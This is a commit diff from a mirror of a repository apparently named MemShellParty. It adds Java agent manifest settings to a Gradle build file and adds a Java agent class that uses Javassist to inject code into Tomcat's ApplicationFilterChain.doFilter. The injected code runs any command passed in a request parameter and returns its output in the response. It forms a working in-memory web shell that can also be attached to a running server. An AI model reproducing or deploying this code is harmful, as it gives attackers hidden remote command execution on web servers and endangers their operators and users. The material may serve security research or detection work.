mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: add three implementations for agent memshell
This commit is contained in:
@@ -1,15 +1,31 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = '1.0.0'
|
||||
|
||||
dependencies {
|
||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
dependencies {
|
||||
implementation 'org.javassist:javassist:3.30.2-GA'
|
||||
}
|
||||
|
||||
jar {
|
||||
manifest {
|
||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||
attributes 'Can-Redefine-Classes': true
|
||||
attributes 'Can-Retransform-Classes': true
|
||||
attributes 'Can-Set-Native-Method-Prefix': true
|
||||
}
|
||||
}
|
||||
|
||||
jar.finalizedBy shadowJar
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package com.reajason.javaweb.memshell.agent;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new javassist.LoaderClassPath(loader));
|
||||
|
||||
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
|
||||
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
|
||||
|
||||
String code =
|
||||
"String paramName = \"paramName\";" +
|
||||
"try {" +
|
||||
" String cmd = $1.getParameter(paramName);" +
|
||||
" if (cmd != null) {" +
|
||||
" Process exec = Runtime.getRuntime().exec(cmd);" +
|
||||
" java.io.InputStream inputStream = exec.getInputStream();" +
|
||||
" byte[] buf = new byte[8192];" +
|
||||
" int length;" +
|
||||
" while ((length = inputStream.read(buf)) != -1) {" +
|
||||
" $2.getOutputStream().write(buf, 0, length);" +
|
||||
" }" +
|
||||
" return;" +
|
||||
" }" +
|
||||
"} catch (Exception ignored) {}";
|
||||
|
||||
doFilter.insertBefore(code);
|
||||
byte[] transformedBytes = cc.toBytecode();
|
||||
cc.detach();
|
||||
return transformedBytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user